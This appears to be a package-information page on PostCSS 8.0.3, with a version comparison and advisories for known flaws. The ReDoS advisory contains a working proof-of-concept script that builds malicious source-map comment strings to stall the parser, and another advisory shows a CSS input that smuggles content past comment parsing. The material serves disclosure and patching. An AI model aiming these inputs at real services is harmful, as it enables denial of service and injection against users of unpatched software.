PostCSS version 8.0.3 represents a minor update over its predecessor, 8.0.2, in the popular tool for transforming styles with JavaScript plugins. Both versions share the same core dependencies, including nanoid for generating unique IDs, colorette for colorful console output, source-map for debugging support, and line-column for precise error reporting. This suggests the update focuses on internal improvements or bug fixes rather than introducing new core functionalities. Both versions are licensed under the permissive MIT license and have the same author and funding information, ensuring continuity and community support. This release, like its previous iteration, benefits from Tidelift funding securing the project's long-term sustainability.
The key difference appears to be in the dist section. While both versions contain 48 files, postcss-8.0.3 shows a slightly larger unpacked size of 194022 bytes compared to 193908 bytes in postcss-8.0.2. This ~100 byte difference may reflect minor code optimizations, string changes or potentially a small bug fix. Developers already using PostCSS 8.0.2 should consider upgrading to 8.0.3 for potential stability enhancements and minor improvements. The releases were also very closely timed, with only a few hours separating the releases.
All the vulnerabilities related to the version 8.0.3 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.